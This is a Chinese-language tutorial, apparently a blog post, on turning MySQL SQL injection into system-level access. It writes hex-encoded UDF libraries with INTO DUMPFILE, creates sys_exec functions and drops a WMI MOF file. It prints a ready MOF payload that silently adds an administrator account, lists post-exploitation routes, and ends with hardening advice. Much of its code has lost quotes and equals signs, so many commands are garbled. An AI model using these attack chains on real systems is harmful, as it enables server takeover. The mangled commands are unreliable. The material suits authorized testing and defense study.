SQL注入提权实战:从UDF到MOF的权限跃迁技术详解
1. 从注入到提权一次完整的权限跃迁实战在渗透测试或者安全研究领域SQL注入漏洞的发现往往只是开始。很多初级安全爱好者或开发者在利用SQL注入获取到数据库信息比如管理员账号密码后就认为任务完成了。但实际上如果数据库服务运行在较高的系统权限下一个SQL注入点完全可能成为攻陷整个服务器的跳板。今天我们就来深入探讨一个经典且威力巨大的场景如何通过MySQL数据库的SQL注入漏洞最终获取服务器的系统级权限。这个过程我们称之为“注入提权”。简单来说我们的目标不再是数据库里的几条数据而是数据库服务所在的那台机器。想象一下你通过一个网站漏洞SQL注入进入了它的“仓库”数据库但你的野心是控制整个“仓库大楼”服务器。MySQL尤其是早期版本或以高权限运行的实例为我们提供了几条通往系统权限的“秘密通道”其中最常见、最经典的就是利用UDF用户自定义函数和MOF文件。这不仅仅是理论在授权测试的特定环境中是验证系统纵深防御能力的关键一环。理解这个过程对于防御者而言其价值远大于攻击者。只有清晰地知道攻击者如何一步步将Web漏洞转化为系统漏洞才能在设计架构、编写代码、配置服务时有针对性地筑起防线。接下来我将以一个模拟的、授权测试的环境为背景拆解从注入点到系统Shell的完整链路并重点分享其中的原理、细节和那些容易踩坑的实战要点。2. 提权路径规划为什么是UDF和MOF当我们通过SQL注入点已经能够执行任意SQL语句时我们相当于获得了数据库的一个高权限会话比如root用户。此时的我们被“关”在MySQL这个“沙箱”里。MySQL的设计初衷是管理数据而不是操作系统。因此它本身提供的功能大部分是数据操作。为了突破这个沙箱我们需要找到MySQL与底层操作系统交互的“桥梁”。MySQL提供了几种与系统交互的机制其中两条最著名的提权路径就是UDF和MOF。它们之所以经典是因为利用了MySQL自身合法的、但配置不当就会变得危险的功能特性。UDFUser-Defined Function用户自定义函数是MySQL的一个强大特性允许用户用C/C编写自定义的函数编译成动态链接库在Windows下是.dll在Linux下是.so然后由MySQL加载并调用。这些函数在MySQL进程空间内运行因此继承了MySQL进程的权限。如果MySQL服务是以系统root或SYSTEM权限运行的那么UDF函数就能以同样的高权限执行任意代码。我们的核心思路就是利用SQL注入的写文件能力将一个我们精心构造的、包含执行系统命令功能的“恶意”UDF库文件写入到MySQL有权限访问的特定目录下然后通过SQL命令让MySQL加载这个库并调用其中的函数从而执行系统命令。MOFManaged Object Format是Windows管理规范WMI的一部分.mof文件可以被wbem服务自动编译和执行。在Windows环境下MySQL特别是5.7及以下版本在安装或启动时有时会向C:/Windows/system32/wbem/mof/目录写入一个.mof文件。这个目录是特权目录但MySQL服务账户如SYSTEM对其有写权限。攻击者的思路是通过SQL注入的写文件功能将一个包含VBScript或JScript代码的.mof文件写入到这个目录系统会定期自动执行该文件中的代码由于是wbem服务通常以SYSTEM权限运行来执行的因此就能获得系统权限。注意MOF提权主要适用于Windows系统下的老旧MySQL版本如5.1, 5.5。在较新的版本和系统中由于权限收紧和安全机制的完善此方法成功率已大大降低。UDF提权则更为通用是跨平台需区分系统编译库文件的主流方法。选择哪条路径取决于目标环境。在实战中我们首先需要完成信息收集判断操作系统、MySQL版本、运行权限、目录权限等再决定攻击向量。下面我们先从最通用、最核心的UDF提权开始进行超详细的拆解。3. UDF提权深度拆解原理、编译与手工注入UDF提权是一个系统工程可以分为几个关键阶段信息侦察、动态库准备、库文件上传、函数创建、命令执行。我们一步步来看。3.1 前期信息侦察知己知彼在动手之前我们必须摸清目标MySQL的“家底”。通过已有的SQL注入点我们可以执行查询来获取关键信息。数据库用户及权限SELECT user(), current_user();确认当前连接用户。更重要的是查看其权限SHOW GRANTS;关注是否有FILE权限这是向服务器写文件的前提。通常root用户默认拥有此权限。操作系统与MySQL版本SELECT version_compile_os, version;version_compile_os会告诉我们MySQL是编译给什么系统的如Win64,Linux这决定了我们需要准备哪种格式的动态库.dll或.so。version则告诉我们MySQL的版本号不同版本对UDF的支持和默认插件目录可能略有不同。MySQL插件目录关键 MySQL只能从特定的插件目录加载UDF库。我们需要找到这个目录。SHOW VARIABLES LIKE plugin_dir;这是最标准的插件目录。如果目标MySQL版本较老或配置特殊也可能将库文件放在bin目录或其上级目录。我们写入的文件必须在这个目录下或者MySQL进程有权限读取的目录下。系统路径与权限探测进阶 我们可以尝试利用SELECT ... INTO DUMPFILE来探测是否有权限向其他目录写文件但这有一定风险可能产生错误日志。更稳妥的是在拥有FILE权限后直接尝试向plugin_dir写入。3.2 动态库的“弹药”准备sqlmap的lib_mysqludf_sys我们不需要从零开始写一个执行系统命令的UDF。安全社区已经有了非常成熟的项目最著名的就是lib_mysqludf_sys。它提供了如sys_exec和sys_eval这样的函数前者执行命令并返回退出码后者执行命令并返回输出结果。如何获取正确的库文件这是第一个大坑。你不能随便下载一个.dll或.so文件就用。库文件必须与目标MySQL的架构32位/64位、编译环境Glibc版本完全匹配。不匹配会导致加载失败错误信息可能是“Can‘t open shared library”或“ERROR 1127 (HY000): Can‘t find symbol‘”。可靠的做法有以下几种从目标系统本地编译最推荐如果条件允许在另一台与目标系统环境相同同版本OS同架构的机器上下载lib_mysqludf_sys源码进行编译。对于Linux你需要安装gcc和mysql-devel或libmysqlclient-dev包来获取头文件。编译命令通常类似gcc -shared -fPIC -o sys_exec.so lib_mysqludf_sys.c -I /usr/include/mysql/对于Windows你需要Visual Studio或MinGW并配置好MySQL的include和lib目录。使用sqlmap内置的库渗透测试工具sqlmap内置了适用于多种Windows和Linux版本的预编译UDF库。它们被存储在sqlmap的data/udf/mysql目录下并且经过了编码/混淆以绕过一些简单的WAF检测。sqlmap在需要时会自动解码并使用它们。这是实战中非常方便的来源但你需要知道这些库文件的具体位置和名称以便在手动注入时引用。寻找公开的、版本匹配的二进制文件网络上存在一些收集了不同版本UDF库的仓库但使用它们存在风险因为你无法验证其是否包含后门。一个重要的技巧十六进制转换在SQL注入中我们通常通过SELECT ... INTO DUMPFILE语句来写文件。这个语句要求写入的内容是直接的二进制数据。因此我们需要将整个动态库的二进制内容转换成十六进制字符串形式嵌入到SQL语句中。可以使用Linux下的xxd或hexdump命令或者Python脚本with open(sys_exec.dll, rb) as f: print(f.read().hex())得到一长串的十六进制字符串如4D5A90000300000004000000FFFF...。3.3 手工注入写入库文件绕过限制与路径博弈有了十六进制格式的库文件我们就可以通过注入点执行写文件操作了。核心语句是SELECT unhex(4D5A9000...) INTO DUMPFILE /usr/lib/mysql/plugin/sys_exec.so;或者对于WindowsSELECT unhex(4D5A9000...) INTO DUMPFILE C:\\Windows\\Temp\\lib_mysqludf_sys.dll;这里有几个至关重要的实战细节DUMPFILEvsOUTFILEINTO OUTFILE会在每行末尾添加换行符并且不能写入二进制文件会损坏文件。INTO DUMPFILE则原样写入单个二进制流是写入二进制文件如DLL、SO的唯一正确选择。路径中的斜杠和空格Windows路径中的反斜杠\在SQL字符串中是转义字符所以需要写成双反斜杠\\或者使用正斜杠/Windows API通常也支持。路径中如果有空格需要用引号包裹整个路径字符串。权限与目录选择即使有FILE权限MySQL也可能没有向plugin_dir写入的权限特别是Linux系统下严格的目录权限。这时需要尝试其他MySQL有写权限的目录如/tmpLinux或C:\\Windows\\TempWindows。然后在加载UDF时指定绝对路径。但请注意CREATE FUNCTION默认会从plugin_dir查找如果放在其他目录需要在函数名后指定库文件的绝对路径。文件覆盖与竞争如果目标文件已存在INTO DUMPFILE会失败。有时需要先尝试删除需有对应权限或使用一个随机文件名。3.4 创建函数与执行命令最后的临门一脚假设我们已经成功将sys_exec.so或.dll写入了/usr/lib/mysql/plugin/目录。接下来创建UDF函数CREATE FUNCTION sys_exec RETURNS int SONAME sys_exec.so;这条语句告诉MySQL从sys_exec.so库中加载名为sys_exec的函数该函数返回一个整数。如果库文件不在plugin_dir需要写全路径SONAME ‘/tmp/sys_exec.so‘。执行系统命令SELECT sys_exec(id /tmp/result.txt);这条命令会执行id命令并将输出重定向到/tmp/result.txt。sys_exec返回的是命令的退出状态码0通常表示成功。读取命令结果 由于sys_exec不直接返回输出我们需要将输出写入一个文件再用LOAD_FILE函数读取需要FILE权限。SELECT LOAD_FILE(/tmp/result.txt);如果使用sys_eval函数则可以一步到位获取输出SELECT sys_eval(id);至此我们已经完成了从SQL注入到系统命令执行的完整链条。你可以通过执行whoami来确认当前权限很可能是root或mysql取决于服务运行账户然后进一步开展后续操作如反弹Shell、添加用户等。4. MOF提权Windows下的“定时任务”漏洞MOF提权可以看作是Windows系统下一种特殊的“计划任务”利用。其原理是Windows的WMI服务会定期检查%SystemRoot%\System32\wbem\mof\目录下的.mof文件并自动编译执行。如果我们能在这个目录创建一个MOF文件里面包含VBScript代码那么这些代码就会以SYSTEM权限执行。利用条件更为苛刻MySQL服务运行账户通常是SYSTEM或具有高权限的账户对该MOF目录有写权限。在老版本Windows如Windows 2003、XP和默认安装的MySQL 5.1/5.5上这个条件常常成立。拥有MySQL的FILE权限。知道MOF目录的绝对路径通常是C:\Windows\system32\wbem\mof\。利用步骤相对直接编写恶意MOF文件创建一个文本文件例如evil.mof内容如下。其核心是ActiveScriptEventConsumer和__EventFilter绑定在WMI中注册一个永久的事件消费者一旦WMI服务启动或符合某个永远为真的条件11就执行其中的VBScript代码。#pragma namespace(\\\\.\\root\\subscription) instance of __EventFilter as $EventFilter { EventNamespace Root\\Cimv2; Name filtP1; Query SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA \Win32_LocalTime\ AND TargetInstance.Second 1; QueryLanguage WQL; }; instance of ActiveScriptEventConsumer as $Consumer { Name consP1; ScriptingEngine VBScript; ScriptText Set objShell CreateObject(\WScript.Shell\)\nobjShell.Run \cmd.exe /c net user hacker Pssw0rd! /add net localgroup administrators hacker /add\, 0, True; }; instance of __FilterToConsumerBinding { Consumer $Consumer; Filter $EventFilter; };上面的VBScript代码会静默地窗口模式为0添加一个名为hacker密码为Pssw0rd!的管理员用户。请注意这仅用于授权测试环境演示原理实际测试中应使用无害命令如calc.exe或echo test C:\test.txt来验证。通过SQL注入写入MOF目录SELECT unhex(4D5A...MOF文件的十六进制内容...) INTO DUMPFILE C:\\Windows\\system32\\wbem\\mof\\evil.mof;等待执行WMI服务winmgmt通常每隔几秒到几十秒会处理一次MOF目录。写入成功后稍等片刻你添加的用户或执行的命令就会生效。可以立即尝试用新用户登录或查看命令产生的文件。MOF提权的局限性新系统权限收紧从Windows Vista/Server 2008开始系统对system32目录的写权限管控极其严格非TrustedInstaller或SYSTEM权限很难直接写入。MySQL服务即使以SYSTEM运行也可能因为权限继承或令牌限制而无法写入。防病毒软件拦截写入system32目录下的可执行脚本文件是高风险行为极易被防病毒软件实时监控拦截。一次性与持久化MOF文件被执行后通常会被移动到%SystemRoot%\System32\wbem\mof\good\目录下。虽然每次系统重启或WMI服务重置后它可能再次被执行因为文件还在但它不像服务或启动项那样是标准的持久化机制。因此在现代Windows防御体系中MOF提权已逐渐成为一种“古董级”的技术但其设计思想——利用系统合法服务的自动执行机制——依然值得防御者深思。5. 实战中的障碍与绕过技巧理论很美好实战却很骨感。在实际的授权测试中你几乎一定会遇到各种阻碍。下面分享一些常见的障碍及应对思路。障碍一secure_file_priv系统变量这是MySQL 5.6版本引入的一个至关重要的安全配置。它限制了LOAD_FILE()和SELECT ... INTO OUTFILE/DUMPFILE可以读写的目录。SHOW VARIABLES LIKE secure_file_priv;如果值为NULL则禁止所有文件的导入导出操作。这是最棘手的情况。如果值为一个目录路径如/var/lib/mysql-files/则只能向该目录读写文件。如果值为空字符串‘’则没有限制但这是不安全的默认配置很多线上环境已修改。绕过思路利用已有目录如果secure_file_priv被设置为一个目录尝试将UDF库写入该目录。但CREATE FUNCTION可能仍要求库在plugin_dir下。此时可以尝试用mysql命令行客户端的--plugin-dir参数指定新路径但这在注入中无法控制。更可行的是在CREATE FUNCTION时使用库文件的绝对路径包括secure_file_priv目录的路径。寻找其他写文件方法如果FILE权限和secure_file_priv都受限就需要挖掘其他漏洞比如利用Web应用本身的上传功能需结合注入点获取上传路径或进行路径穿越或者利用MySQL的日志文件general_log,slow_query_log来写入代码但这通常更复杂。无文件攻击逻辑提权如果实在无法写文件可以退而求其次利用已有的存储过程、函数或触发器或者通过注入修改数据库关键数据如管理员密码、系统配置表来实现间接控制。但这不属于本文讨论的“系统提权”范畴。障碍二MySQL运行在低权限账户下在Linux上越来越多的安全实践建议MySQL以独立的、低权限的mysql用户运行而不是root。即使通过UDF执行了命令获得的也是mysql用户的权限无法直接获取root。提权思路内核漏洞本地提权在获得mysql用户Shell后收集系统信息uname -a寻找未修复的内核漏洞如DirtyCow, CVE-2021-4034等进行本地提权。这需要扎实的系统安全知识。滥用mysql用户的特权检查mysql用户是否有sudo权限可以运行某些命令或者是否可以写入某些由root定期执行的脚本cron job。利用SUID/GUID程序查找系统上设置了SUID位的程序find / -perm -us -type f 2/dev/null看看是否有已知漏洞的程序如pkexec,vim,find等可以被mysql用户利用来提升权限。障碍三目标系统是Windows且MySQL非SYSTEM运行如果MySQL服务是以NETWORK SERVICE或自定义的低权限账户运行即使UDF加载成功执行的命令权限也很低。提权思路Windows本地漏洞提权类似于Linux获取Shell后运行whoami /priv查看特权使用诸如Watson,Sherlock或WinPEAS等工具枚举系统寻找可利用的本地提权漏洞如错误的服务权限、脆弱的注册表键、未引用的服务路径等。令牌模拟与窃取如果服务器上存在其他高权限进程且当前账户有足够权限可以尝试令牌模拟攻击。AlwaysInstallElevated检查注册表看是否启用了AlwaysInstallElevated策略这允许任何用户以SYSTEM权限安装MSI包。6. 防御视角如何让你的MySQL“固若金汤”作为防御者了解攻击手法是为了更好地防御。以下是从架构、配置、开发三个层面给出的加固建议1. 架构与权限最小化非特权账户运行绝对不要以root或SYSTEM权限运行MySQL。在Linux上使用专门的mysql用户和用户组。在Windows上使用NETWORK SERVICE或创建一个低权限的专用账户。网络隔离将MySQL数据库部署在内网严格限制访问来源IP通过防火墙或MySQL的bind-address和用户host字段。Web应用服务器和数据库服务器之间最好有防火墙策略。容器化使用Docker等容器技术运行MySQL可以更好地进行资源隔离和权限控制。2. MySQL配置加固移除FILE权限除非业务绝对必要否则从所有数据库用户包括root中移除FILE权限。GRANT语句中不要包含FILE。REVOKE FILE ON *.* FROM root%;设置secure_file_priv在生产环境中务必将其设置为一个非空的、受控的目录或者直接设为NULL。# my.cnf / my.ini [mysqld] secure_file_priv/var/lib/mysql-files禁用LOAD_FILE()与INTO OUTFILE通过移除FILE权限这些操作自然失效。限制插件目录确保plugin_dir指向的目录权限严格只有MySQL运行用户有读取和执行权限无写权限。使用--skip-symbolic-links禁用符号链接防止通过符号链接进行文件系统攻击。更新与补丁及时更新MySQL到最新稳定版修复已知的安全漏洞。3. 应用开发安全根本之道杜绝SQL注入使用参数化查询Prepared Statements或ORM框架永远不要拼接SQL字符串。这是最有效、最根本的防御措施。Web应用权限Web应用连接数据库的账户只授予其业务所需的最小权限SELECT,INSERT,UPDATE,DELETE绝对不要授予FILE,PROCESS,SUPER,GRANT OPTION等管理权限。输入验证与过滤虽然参数化查询是首选但辅助的输入验证和输出编码也能增加安全层。错误信息处理生产环境应关闭详细的MySQL错误回显避免泄露数据库结构信息。4. 主动监控与审计启用MySQL通用日志和审计插件记录所有SQL查询特别是CREATE FUNCTION,SELECT ... INTO DUMPFILE等敏感操作。文件系统监控监控plugin_dir和系统关键目录如/tmp,C:\Windows\Temp, MOF目录的异常文件创建。进程监控监控由mysql或相关账户启动的异常子进程。7. 总结与反思技术演进与攻防博弈从UDF到MOF我们看到了攻击者如何利用数据库服务的合法功能在特定条件下将其武器化。这场攻防博弈的核心始终围绕着“权限”二字。攻击者在寻找权限边界的缝隙而防御者的任务就是收紧边界贯彻最小权限原则。随着技术的发展防御措施也在不断加强。新版本的MySQL默认配置更加安全云数据库服务如RDS通常直接禁用了FILE权限和本地文件访问功能使得传统的UDF提权路径被彻底封死。然而攻击技术也在进化例如利用MySQL的日志功能、利用内存攻击技术如“鬼影”漏洞等新的提权方法也曾出现。对于安全从业者而言掌握这些经典的攻击手法不是为了实施攻击而是为了构建更深刻的安全认知。在代码审查时你会对那个不起眼的${}拼接字符串的写法更加警惕在系统加固时你会明白为什么那个secure_file_priv参数非配不可在应急响应时你会知道在服务器的/tmp目录下看到一个陌生的.so文件意味着什么。安全是一个持续的过程没有一劳永逸的银弹。理解攻击链的每一个环节才能在最合适的位置部署最有效的防御。希望这篇超过五千字的详细拆解能为你勾勒出SQL注入提权的完整图景并在你构建更安全系统的道路上提供一份扎实的参考。